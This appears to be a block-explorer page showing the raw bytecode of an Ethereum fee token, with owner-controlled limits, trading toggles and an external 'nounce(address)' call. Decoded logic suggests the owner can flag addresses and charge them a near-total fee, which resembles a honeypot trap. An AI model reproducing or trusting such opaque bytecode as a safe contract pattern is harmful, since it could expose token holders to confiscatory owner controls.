6323b872dd1461032657600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50604080518082018252600681526504255524e4c560d41b6020820152905161029691906128ee565b60405180910390f35b3480156102ab57600080fd5b506102bf6102ba366004612936565b6107fb565b6040519015158152602001610296565b3480156102db57600080fd5b506001545b604051908152602001610296565b3480156102fa57600080fd5b50601a5461030e906001600160a01b031681565b6040516001600160a01b039091168152602001610296565b34801561033257600080fd5b506102bf610341366004612962565b610812565b34801561035257600080fd5b5061035b61087c565b005b34801561036957600080fd5b506102bf6103783660046129a3565b6000546001600160a01b0391821691161490565b34801561039857600080fd5b5060405160098152602001610296565b3480156103b457600080fd5b5061035b6103c33660046129c0565b6108c4565b3480156103d457600080fd5b5061035b6103e33660046129c0565b610a18565b3480156103f457600080fd5b506102e0601b5481565b34801561040a57600080fd5b506102bf6104193660046129a3565b60076020526000908152604090205460ff1681565b34801561043a57600080fd5b5060285461030e906001600160a01b031681565b34801561045a57600080fd5b506102bf6104693660046129a3565b60086020526000908152604090205460ff1681565b34801561048a57600080fd5b5061035b6104993660046129fa565b610a50565b3480156104aa57600080fd5b506102e060265481565b3480156104c057600080fd5b5060295461030e906001600160a01b031681565b3480156104e057600080fd5b506102e060275481565b3480156104f657600080fd5b5061035b610505366004612936565b610aa5565b34801561051657600080fd5b506102e06105253660046129a3565b610b21565b34801561053657600080fd5b5061035b610b3c565b34801561054b57600080fd5b5061035b610bab565b34801561056057600080fd5b506000546001600160a01b031661030e565b34801561057e57600080fd5b5061035b61058d3660046129fa565b610bf3565b34801561059e57600080fd5b506102e0610ccf565b3480156105b357600080fd5b5061035b6105c2366004612a33565b610d00565b3480156105d357600080fd5b506102e0601c5481565b3480156105e957600080fd5b50600d5461030e906001600160a01b031681565b34801561060957600080fd5b506102bf610618366004612936565b610f70565b34801561062957600080fd5b5061035b610f7d565b34801561063e57600080fd5b506102e061064d3660046129a3565b610f88565b34801561065e57600080fd5b50600c546102bf9060ff1681565b34801561067857600080fd5b506102e06106873660046129a3565b6001600160a01b031660009081526023602052604090206002015490565b3480156106b157600080fd5b506102e06106c03660046129a3565b600b6020526000908152604090205481565b3480156106de57600080fd5b5061070e6106ed3660046129a3565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610296565b34801561073557600080fd5b5061035b610744366004612a70565b611013565b34801561075557600080fd5b506102e0610764366004612ac5565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561079b57600080fd5b5061035b6107aa3660046129fa565b611119565b3480156107bb57600080fd5b506102e0601d5481565b3480156107d157600080fd5b5061035b6107e03660046129a3565b611191565b3480156107f157600080fd5b506102e060255481565b600061080833848461120f565b5060015b92915050565b600061081f848484611333565b610871843361086c85604051806060016040528060288152602001612d20602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114d2565b61120f565b5060015b9392505050565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016108a690612af3565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108ee5760405162461bcd60e51b81526004016108a690612af3565b6000612710846108fd60015490565b6109079190612b29565b6109119190612b40565b905060006127108461092260015490565b61092c9190612b29565b6109369190612b40565b905060006127108461094760015490565b6109519190612b29565b61095b9190612b40565b6002849055600383905560048190559050600061098e6103e8610988600561098260015490565b906114fe565b9061150a565b90508084101580156109a05750808310155b80156109ac5750808210155b610a0f5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a6565b50505050505050565b6000546001600160a01b03163314610a425760405162461bcd60e51b81526004016108a690612af3565b602592909255602655602755565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016108a690612af3565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1c9190612b62565b505050565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b665760405162461bcd60e51b81526004016108a690612af3565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610bd55760405162461bcd60e51b81526004016108a690612af3565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610c1d5760405162461bcd60e51b81526004016108a690612af3565b600d546001600160a01b03838116911614801590610c4e5750600c546001600160a01b038381166101009092041614155b8015610c6357506001600160a01b0382163014155b610ca45760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a6565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610cfb610cde6000610b21565b610cf5610cec61dead610b21565b60015490611516565b90611516565b905090565b6014819055602054336000829003610d19575050610f6a565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610e17575b8984108015610d5357508582105b15610e12578560245410610d675760006024555b610d99602060245481548110610d7f57610d7f612b7f565b6000918252602090912001546001600160a01b0316611522565b15610dd057610dd0602060245481548110610db657610db6612b7f565b6000918252602090912001546001600160a01b0316611567565b610de5610dde5a8590611516565b85906116a1565b93505a602480549194506000610dfa83612b95565b91905055508180610e0a90612b95565b925050610d45565b610f63565b6000610e2286610f88565b6001600160a01b038b1660009081526005602052604090208a90559050610e498983612bae565b336000908152600560205260409020558015610f6157601d54610e6c90826116a1565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee69190612b62565b506001600160a01b03861660009081526022602090815260408083204290556023909152902060020154610f1a90826116a1565b6001600160a01b0387166000908152602360205260409020600281019190915554610f44906116ad565b6001600160a01b0387166000908152602360205260409020600101555b505b5050505050505b50505050565b6000610808338484611333565b610f8633611567565b565b6001600160a01b0381166000908152602360205260408120548103610faf57506000919050565b6001600160a01b038216600090815260236020526040812054610fd1906116ad565b6001600160a01b038416600090815260236020526040902060010154909150808211611001575060009392505050565b61100b8282611516565b949350505050565b6000546001600160a01b0316331461103d5760405162461bcd60e51b81526004016108a690612af3565b600e889055600f87905560128690556010859055601184905560138390556014829055601581905560165461107390600561150a565b60135411158015611093575060165461108d90600561150a565b60145411155b80156110ae57506016546110a890600561150a565b60155411155b61110f5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108a6565b5050505050505050565b6000546001600160a01b031633146111435760405162461bcd60e51b81526004016108a690612af3565b6001600160a01b0382166000908152600860205260409020805460ff1916821580159190911790915561117f5761117b8260006116ca565b5050565b61117b8261118c84610b21565b6116ca565b6000546001600160a01b031633146111bb5760405162461bcd60e51b81526004016108a690612af3565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a6565b6001600160a01b0382166112d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a6565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61133e8383836117e0565b611348838361197a565b61135182611a0b565b61135c838383611b7a565b611367838383611c66565b6113718383611d93565b6001600160a01b0383166000908152600560205260409020546113949082611516565b6001600160a01b0384166000908152600560205260408120919091556113ba8484611dae565b6113c457816113cf565b6113cf848484611df4565b6001600160a01b0384166000908152600560205260409020549091506113f590826116a1565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114499085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff1661147e5761147e8461118c86610b21565b6001600160a01b03831660009081526008602052604090205460ff166114ab576114ab8361118c85610b21565b6001600160a01b03831660009081526023602052604090205415610f6a57610f6a83611567565b600081848411156114f65760405162461bcd60e51b81526004016108a691906128ee565b505050900390565b60006108758284612b29565b60006108758284612b40565b60006108758284612bc1565b6025546001600160a01b0382166000908152602260205260408120549091429161154c9190612bae565b10801561080c575060265461156083610f88565b1192915050565b6001600160a01b03811660009081526023602052604081205490036115895750565b600061159482610f88565b9050801561117b57601d546115a990826116a1565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af11580156115ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116239190612b62565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461165790826116a1565b6001600160a01b0383166000908152602360205260409020600281019190915554611681906116ad565b6001600160a01b0383166000908152602360205260409020600101555050565b60006108758284612bae565b600061080c601f54610988601e54856114fe90919063ffffffff16565b6000811180156116f057506001600160a01b038216600090815260236020526040902054155b1561175557602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee708c303a06d134f5ecd8389ae0432af62dc132a24118292866bb0180546001600160a01b0319169091179055611788565b8015801561177a57506001600160a01b03821660009081526023602052604090205415155b156117885761178882611ee2565b6001600160a01b038216600090815260236020526040902054601b546117b99183916117b391611516565b906116a1565b601b556001600160a01b0382166000908152602360205260409020819055611681816116ad565b6001600160a01b0383166118445760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016108a6565b6001600160a01b0382166118a65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016108a6565b600081116119085760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016108a6565b61191183610b21565b811115610b1c5760405162461bcd60e51b815260206004820152603160248201527f596f752061726520747279696e6720746f207472616e73666572206d6f7265206044820152707468616e20796f75722062616c616e636560781b60648201526084016108a6565b6001600160a01b03821660009081526007602052604090205460ff161580156119bc57506001600160a01b03811660009081526007602052604090205460ff16155b1561117b57600d54600160a01b900460ff1661117b5760405162461bcd60e51b815260206004820152600e60248201526d1d1c98591a5b99d05b1b1bddd95960921b60448201526064016108a6565b600c546001600160a01b038281166101009092041614801590611a3c5750600d546001600160a01b03828116911614155b8015611a4a5750600c5460ff165b15611b2757611a5a600243612bc1565b326000908152600a6020526040902054108015611a985750611a7d600243612bc1565b6001600160a01b0382166000908152600a6020526040902054105b611b025760405162461bcd60e51b815260206004820152603560248201527f5f7472616e736665723a3a205472616e736665722044656c617920656e61626c60448201527432b21710102a393c9030b3b0b4b7103630ba32b91760591b60648201526084016108a6565b326000908152600a602052604080822043908190556001600160a01b03841683529120555b600d546001600160a01b03828116911614611b77576001600160a01b0381166000908152600b60205260408120549003611b77576001600160a01b0381166000908152600b602052604090204290555b50565b6001600160a01b03831660009081526007602052604090205460ff16158015611bbc57506001600160a01b03821660009081526007602052604090205460ff16155b8015611bd65750600d546001600160a01b03838116911614155b8015611bed57506001600160a01b03821661dead14155b15610b1c576004546001600160a01b038316600090815260056020526040902054611c1890836116a1565b1115610b1c5760405162461bcd60e51b815260206004820152601e60248201527f45786365656473206d6178696d756d2077616c6c657420616d6f756e742e000060448201526064016108a6565b600d546001600160a01b03848116911614611d075760035481111580611ca457506001600160a01b03831660009081526007602052604090205460ff165b80611cc757506001600160a01b03821660009081526007602052604090205460ff165b611d075760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a6565b60025481111580611d3057506001600160a01b03831660009081526007602052604090205460ff165b80611d5357506001600160a01b03821660009081526007602052604090205460ff165b610b1c5760405162461bcd60e51b8152602060048201526011602482015270151608131a5b5a5d08115e18d959591959607a1b60448201526064016108a6565b611d9d8282611ff6565b1561117b5761117b601854836120aa565b6001600160a01b03821660009081526007602052604081205460ff161580156108755750506001600160a01b031660009081526007602052604090205460ff1615919050565b600080611e01858561224d565b1115611edb576000611e24611e16868661224d565b60165461098290869061150a565b30600090815260056020526040902054909150611e4190826116a1565b30600081815260056020526040908190209290925590516001600160a01b038716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90611e929085815260200190565b60405180910390a360125415611ec957611ec93061dead611ec46012546109826016548961150a90919063ffffffff16565b611333565b611ed38382611516565b915050610875565b5092915050565b60208054611ef290600190612bc1565b81548110611f0257611f02612b7f565b60009182526020808320909101546001600160a01b03848116845260218352604090932054825493909116928110611f3c57611f3c612b7f565b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559183168152602180835260408220548354909391929190611f8790600190612bc1565b81548110611f9757611f97612b7f565b60009182526020808320909101546001600160a01b03168352828101939093526040909101902091909155805480611fd157611fd1612bd4565b600082815260209020810160001990810180546001600160a01b031916905501905550565b60008060185461200530610b21565b6017549111159150610100900460ff16158015612024575060175460ff165b80156120395750600d54600160a01b900460ff165b801561205e57506001600160a01b03841660009081526007602052604090205460ff16155b801561208357506001600160a01b03831660009081526007602052604090205460ff16155b801561209c5750600d546001600160a01b038481169116145b801561100b57509392505050565b6017805461ff001916610100179055601054601154600f54600e546000936120e393600293610982936117b392918391829060016116a1565b9050600061210082610988600e54876114fe90919063ffffffff16565b9050600061210e8583611516565b90504761211a826122ee565b60006121264783611516565b90506000612149612142600e548861151690919063ffffffff16565b839061150a565b90506000612162600e54836114fe90919063ffffffff16565b9050801561217457612174868261246b565b600f54600090612189906109828560026114fe565b905080156121cd576029546040516001600160a01b039091169082156108fc029083906000818181858888f193505050501580156121cb573d6000803e3d6000fd5b505b6010546000906121e2906109828660026114fe565b905080156121f4576121f4818b612529565b4715612235576028546040516001600160a01b03909116904780156108fc02916000818181858888f19350505050158015612233573d6000803e3d6000fd5b505b50506017805461ff0019169055505050505050505050565b6001600160a01b03821660009081526009602052604081205460ff168061228c57506001600160a01b03821660009081526009602052604090205460ff165b156122a65760165461229f906064611516565b905061080c565b600d546001600160a01b03908116908316036122c5575060145461080c565b600d546001600160a01b03908116908416036122e4575060135461080c565b5060155492915050565b604080516002808252606082018352600092602083019080368337019050509050308160008151811061232357612323612b7f565b60200260200101906001600160a01b031690816001600160a01b031681525050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612396573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123ba9190612bea565b816001815181106123cd576123cd612b7f565b6001600160a01b039283166020918202929092010152600c546123f89130916101009004168461120f565b600c5460405163791ac94760e01b81526101009091046001600160a01b03169063791ac94790612435908590600090869030904290600401612c4b565b600060405180830381600087803b15801561244f57600080fd5b505af1158015612463573d6000803e3d6000fd5b505050505050565b600c5461248890309061010090046001600160a01b03168461120f565b600c54602a5460405163f305d71960e01b81523060048201526024810185905260006044820181905260648201526001600160a01b0391821660848201524260a4820152610100909204169063f305d71990839060c40160606040518083038185885af11580156124fd573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906125229190612c87565b5050505050565b601a546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa158015612572573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125969190612cb5565b6040805160028082526060820183529293506000929091602083019080368337019050509050600c60019054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561260f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906126339190612bea565b8160008151811061264657612646612b7f565b6001600160a01b039283166020918202929092010152601a5482519116908290600190811061267757612677612b7f565b6001600160a01b039283166020918202929092010152600c5460405163b6f9de9560e01b81526101009091049091169063b6f9de959086906126c490600090869030904290600401612cce565b6000604051808303818588803b1580156126dd57600080fd5b505af11580156126f1573d6000803e3d6000fd5b5050601a546040516370a0823160e01b8152306004820152600094506001600160a01b0390911692506370a082319150602401602060405180830381865afa158015612741573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906127659190612cb5565b905060006127738285611516565b601c5490915061278390826116a1565b601c55604080518082018252600f81526e6e6f756e636528616464726573732960881b60209182015281516001600160a01b03888116602480840191909152845180840390910181526044909201845291810180516001600160e01b031663366b82c160e01b179052602a54925190926000921690612803908490612d03565b6000604051808303816000865af19150503d8060008114612840576040519150601f19603f3d011682016040523d82523d6000602084013e612845565b606091505b50509050806128965760405162461bcd60e51b815260206004820152601d60248201527f43616c6c20746f206f7468657220636f6e7472616374206661696c656400000060448201526064016108a6565b6128bd6128b4601b5461098886601f546114fe90919063ffffffff16565b601e54906116a1565b601e555050505050505050565b60005b838110156128e55781810151838201526020016128cd565b50506000910152565b602081526000825180602084015261290d8160408501602087016128ca565b601f01601f19169190910160400192915050565b6001600160a01b0381168114611b7757600080fd5b6000806040838503121561294957600080fd5b823561295481612921565b946020939093013593505050565b60008060006060848603121561297757600080fd5b833561298281612921565b9250602084013561299281612921565b929592945050506040919091013590565b6000602082840312156129b557600080fd5b813561087581612921565b6000806000606084860312156129d557600080fd5b505081359360208301359350604090920135919050565b8015158114611b7757600080fd5b60008060408385031215612a0d57600080fd5b8235612a1881612921565b91506020830135612a28816129ec565b809150509250929050565b60008060008060808587031215612a4957600080fd5b843593506020850135612a5b81612921565b93969395505050506040820135916060013590565b600080600080600080600080610100898b031215612a8d57600080fd5b505086359860208801359850604088013597606081013597506080810135965060a0810135955060c0810135945060e0013592509050565b60008060408385031215612ad857600080fd5b8235612ae381612921565b91506020830135612a2881612921565b60208082526006908201526510a7aba722a960d11b604082015260600190565b634e487b7160e01b600052601160045260246000fd5b808202811582820484141761080c5761080c612b13565b600082612b5d57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215612b7457600080fd5b8151610875816129ec565b634e487b7160e01b600052603260045260246000fd5b600060018201612ba757612ba7612b13565b5060010190565b8082018082111561080c5761080c612b13565b8181038181111561080c5761080c612b13565b634e487b7160e01b600052603160045260246000fd5b600060208284031215612bfc57600080fd5b815161087581612921565b600081518084526020808501945080840160005b83811015612c405781516001600160a01b031687529582019590820190600101612c1b565b509495945050505050565b85815284602082015260a060408201526000612c6a60a0830186612c07565b6001600160a01b0394909416606083015250608001529392505050565b600080600060608486031215612c9c57600080fd5b8351925060208401519150604084015190509250925092565b600060208284031215612cc757600080fd5b5051919050565b848152608060208201526000612ce76080830186612c07565b6001600160a01b03949094166040830152506060015292915050565b60008251612d158184602087016128ca565b919091019291505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220138bda27e828825997dfd29e7f57fb97658f0a23dd7a6b50a413ff0f67b3456e64736f6c634300081200330000000000000000000000004cbe9aa7c988326e0c9587ed7be7e07a3955cfda0000000000000000000000004cbe9aa7c988326e0c9587ed7be7e07a3955cfda0000000000000000000000004cbe9aa7c988326e0c9587ed7be7e07a3955cfda
Deployed Bytecode
0x6080604052600436106102555760003560e01c8063751039fc11610139578063baf28a48116100b6578063db30614d1161007a578063db30614d14610729578063dd62ed3e14610749578063ef43b02b1461078f578063efca2eed146107af578063f2fde38b146107c5578063ffd49c84146107e557600080fd5b8063baf28a4814610632578063c876d0b914610652578063ca89b8991461066c578063cc25596f146106a5578063ce7c2ac2146106d257600080fd5b806395d89b41116100fd57806395d89b4114610261578063997664d7146105c7578063a8aa1b31146105dd578063a9059cbb146105fd578063ba3acf8b1461061d57600080fd5b8063751039fc1461053f578063893d20e8146105545780638c41180e146105725780639358928b146105925780639386acb5146105a757600080fd5b80633a98ef39116101d25780634fab0ae8116101965780634fab0ae81461049e5780635f7bcd70146104b457806360e71962146104d457806361b4ae7e146104ea57806370a082311461050a578063715018a61461052a57600080fd5b80633a98ef39146103e85780633f4218e0146103fe578063420bbf201461042e5780634355855a1461044e57806348ff2b8b1461047e57600080fd5b8063293230b811610219578063293230b8146103465780632f54bf6e1461035d578063313ce5671461038c57806334c5d2ce146103a857806336afc425146103c857600080fd5b806306fdde0314610261578063095ea7b31461029f57806318160ddd146102cf578063228cb733146102ee57806323b872dd1461032657600080fd5b3661025c57005b600080fd5b34801561026d57600080fd5b50604080518082018252600681526504255524e4c560d41b6020820152905161029691906128ee565b60405180910390f35b3480156102ab57600080fd5b506102bf6102ba366004612936565b6107fb565b6040519015158152602001610296565b3480156102db57600080fd5b506001545b604051908152602001610296565b3480156102fa57600080fd5b50601a5461030e906001600160a01b031681565b6040516001600160a01b039091168152602001610296565b34801561033257600080fd5b506102bf610341366004612962565b610812565b34801561035257600080fd5b5061035b61087c565b005b34801561036957600080fd5b506102bf6103783660046129a3565b6000546001600160a01b0391821691161490565b34801561039857600080fd5b5060405160098152602001610296565b3480156103b457600080fd5b5061035b6103c33660046129c0565b6108c4565b3480156103d457600080fd5b5061035b6103e33660046129c0565b610a18565b3480156103f457600080fd5b506102e0601b5481565b34801561040a57600080fd5b506102bf6104193660046129a3565b60076020526000908152604090205460ff1681565b34801561043a57600080fd5b5060285461030e906001600160a01b031681565b34801561045a57600080fd5b506102bf6104693660046129a3565b60086020526000908152604090205460ff1681565b34801561048a57600080fd5b5061035b6104993660046129fa565b610a50565b3480156104aa57600080fd5b506102e060265481565b3480156104c057600080fd5b5060295461030e906001600160a01b031681565b3480156104e057600080fd5b506102e060275481565b3480156104f657600080fd5b5061035b610505366004612936565b610aa5565b34801561051657600080fd5b506102e06105253660046129a3565b610b21565b34801561053657600080fd5b5061035b610b3c565b34801561054b57600080fd5b5061035b610bab565b34801561056057600080fd5b506000546001600160a01b031661030e565b34801561057e57600080fd5b5061035b61058d3660046129fa565b610bf3565b34801561059e57600080fd5b506102e0610ccf565b3480156105b357600080fd5b5061035b6105c2366004612a33565b610d00565b3480156105d357600080fd5b506102e0601c5481565b3480156105e957600080fd5b50600d5461030e906001600160a01b031681565b34801561060957600080fd5b506102bf610618366004612936565b610f70565b34801561062957600080fd5b5061035b610f7d565b34801561063e57600080fd5b506102e061064d3660046129a3565b610f88565b34801561065e57600080fd5b50600c546102bf9060ff1681565b34801561067857600080fd5b506102e06106873660046129a3565b6001600160a01b031660009081526023602052604090206002015490565b3480156106b157600080fd5b506102e06106c03660046129a3565b600b6020526000908152604090205481565b3480156106de57600080fd5b5061070e6106ed3660046129a3565b60236020526000908152604090208054600182015460029092015490919083565b60408051938452602084019290925290820152606001610296565b34801561073557600080fd5b5061035b610744366004612a70565b611013565b34801561075557600080fd5b506102e0610764366004612ac5565b6001600160a01b03918216600090815260066020908152604080832093909416825291909152205490565b34801561079b57600080fd5b5061035b6107aa3660046129fa565b611119565b3480156107bb57600080fd5b506102e0601d5481565b3480156107d157600080fd5b5061035b6107e03660046129a3565b611191565b3480156107f157600080fd5b506102e060255481565b600061080833848461120f565b5060015b92915050565b600061081f848484611333565b610871843361086c85604051806060016040528060288152602001612d20602891396001600160a01b038a16600090815260066020908152604080832033845290915290205491906114d2565b61120f565b5060015b9392505050565b6000546001600160a01b031633146108af5760405162461bcd60e51b81526004016108a690612af3565b60405180910390fd5b600d805460ff60a01b1916600160a01b179055565b6000546001600160a01b031633146108ee5760405162461bcd60e51b81526004016108a690612af3565b6000612710846108fd60015490565b6109079190612b29565b6109119190612b40565b905060006127108461092260015490565b61092c9190612b29565b6109369190612b40565b905060006127108461094760015490565b6109519190612b29565b61095b9190612b40565b6002849055600383905560048190559050600061098e6103e8610988600561098260015490565b906114fe565b9061150a565b90508084101580156109a05750808310155b80156109ac5750808210155b610a0f5760405162461bcd60e51b815260206004820152602e60248201527f4d61782054587320616e64204d61782057616c6c65742063616e6e6f7420626560448201526d206c657373207468616e202e352560901b60648201526084016108a6565b50505050505050565b6000546001600160a01b03163314610a425760405162461bcd60e51b81526004016108a690612af3565b602592909255602655602755565b6000546001600160a01b03163314610a7a5760405162461bcd60e51b81526004016108a690612af3565b6001600160a01b03919091166000908152600760205260409020805460ff1916911515919091179055565b602a5460405163a9059cbb60e01b81526001600160a01b039182166004820152602481018390529083169063a9059cbb906044016020604051808303816000875af1158015610af8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b1c9190612b62565b505050565b6001600160a01b031660009081526005602052604090205490565b6000546001600160a01b03163314610b665760405162461bcd60e51b81526004016108a690612af3565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b03163314610bd55760405162461bcd60e51b81526004016108a690612af3565b600154600255600154600355600154600455600c805460ff19169055565b6000546001600160a01b03163314610c1d5760405162461bcd60e51b81526004016108a690612af3565b600d546001600160a01b03838116911614801590610c4e5750600c546001600160a01b038381166101009092041614155b8015610c6357506001600160a01b0382163014155b610ca45760405162461bcd60e51b8152602060048201526012602482015271496e656c696769626c65204164647265737360701b60448201526064016108a6565b6001600160a01b03919091166000908152600960205260409020805460ff1916911515919091179055565b6000610cfb610cde6000610b21565b610cf5610cec61dead610b21565b60015490611516565b90611516565b905090565b6014819055602054336000829003610d19575050610f6a565b6000805a336000908152600560209081526040808320546007909252822054929350909160ff16610e17575b8984108015610d5357508582105b15610e12578560245410610d675760006024555b610d99602060245481548110610d7f57610d7f612b7f565b6000918252602090912001546001600160a01b0316611522565b15610dd057610dd0602060245481548110610db657610db6612b7f565b6000918252602090912001546001600160a01b0316611567565b610de5610dde5a8590611516565b85906116a1565b93505a602480549194506000610dfa83612b95565b91905055508180610e0a90612b95565b925050610d45565b610f63565b6000610e2286610f88565b6001600160a01b038b1660009081526005602052604090208a90559050610e498983612bae565b336000908152600560205260409020558015610f6157601d54610e6c90826116a1565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038881166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af1158015610ec2573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ee69190612b62565b506001600160a01b03861660009081526022602090815260408083204290556023909152902060020154610f1a90826116a1565b6001600160a01b0387166000908152602360205260409020600281019190915554610f44906116ad565b6001600160a01b0387166000908152602360205260409020600101555b505b5050505050505b50505050565b6000610808338484611333565b610f8633611567565b565b6001600160a01b0381166000908152602360205260408120548103610faf57506000919050565b6001600160a01b038216600090815260236020526040812054610fd1906116ad565b6001600160a01b038416600090815260236020526040902060010154909150808211611001575060009392505050565b61100b8282611516565b949350505050565b6000546001600160a01b0316331461103d5760405162461bcd60e51b81526004016108a690612af3565b600e889055600f87905560128690556010859055601184905560138390556014829055601581905560165461107390600561150a565b60135411158015611093575060165461108d90600561150a565b60145411155b80156110ae57506016546110a890600561150a565b60155411155b61110f5760405162461bcd60e51b815260206004820152602c60248201527f746f74616c46656520616e642073656c6c4665652063616e6e6f74206265206d60448201526b6f7265207468616e2032302560a01b60648201526084016108a6565b5050505050505050565b6000546001600160a01b031633146111435760405162461bcd60e51b81526004016108a690612af3565b6001600160a01b0382166000908152600860205260409020805460ff1916821580159190911790915561117f5761117b8260006116ca565b5050565b61117b8261118c84610b21565b6116ca565b6000546001600160a01b031633146111bb5760405162461bcd60e51b81526004016108a690612af3565b600080546001600160a01b0319166001600160a01b0383169081179091556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a150565b6001600160a01b0383166112715760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016108a6565b6001600160a01b0382166112d25760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016108a6565b6001600160a01b0383811660008181526006602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b61133e8383836117e0565b611348838361197a565b61135182611a0b565b61135c838383611b7a565b611367838383611c66565b6113718383611d93565b6001600160a01b0383166000908152600560205260409020546113949082611516565b6001600160a01b0384166000908152600560205260408120919091556113ba8484611dae565b6113c457816113cf565b6113cf848484611df4565b6001600160a01b0384166000908152600560205260409020549091506113f590826116a1565b6001600160a01b0380851660008181526005602052604090819020939093559151908616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906114499085815260200190565b60405180910390a36001600160a01b03841660009081526008602052604090205460ff1661147e5761147e8461118c86610b21565b6001600160a01b03831660009081526008602052604090205460ff166114ab576114ab8361118c85610b21565b6001600160a01b03831660009081526023602052604090205415610f6a57610f6a83611567565b600081848411156114f65760405162461bcd60e51b81526004016108a691906128ee565b505050900390565b60006108758284612b29565b60006108758284612b40565b60006108758284612bc1565b6025546001600160a01b0382166000908152602260205260408120549091429161154c9190612bae565b10801561080c575060265461156083610f88565b1192915050565b6001600160a01b03811660009081526023602052604081205490036115895750565b600061159482610f88565b9050801561117b57601d546115a990826116a1565b601d55601a5460405163a9059cbb60e01b81526001600160a01b038481166004830152602482018490529091169063a9059cbb906044016020604051808303816000875af11580156115ff573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116239190612b62565b506001600160a01b0382166000908152602260209081526040808320429055602390915290206002015461165790826116a1565b6001600160a01b0383166000908152602360205260409020600281019190915554611681906116ad565b6001600160a01b0383166000908152602360205260409020600101555050565b60006108758284612bae565b600061080c601f54610988601e54856114fe90919063ffffffff16565b6000811180156116f057506001600160a01b038216600090815260236020526040902054155b1561175557602080546001600160a01b03841660008181526021845260408120839055600183018455929092527fc97bfaf2f8ee